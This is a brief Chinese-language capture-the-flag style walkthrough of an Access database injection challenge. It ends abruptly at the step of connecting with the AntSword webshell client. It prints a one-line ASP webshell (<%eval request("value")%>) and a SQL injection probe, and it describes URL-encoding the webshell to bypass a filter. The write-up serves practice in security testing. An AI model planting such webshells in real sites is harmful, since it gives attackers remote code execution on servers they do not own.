Access注入：

打开环境发现有提示在数据库的目录下，猜测要上传一句话木马查看目录

用语句 ?id=1 and 1=1 # 发现 # 被过滤了并且再次提示

上传一句话木马，发现也被过滤掉了

一句话木马：<%eval request ("value")%>

把一句话木马进行url编码上传，发现没有被过滤

用中国蚁剑连接：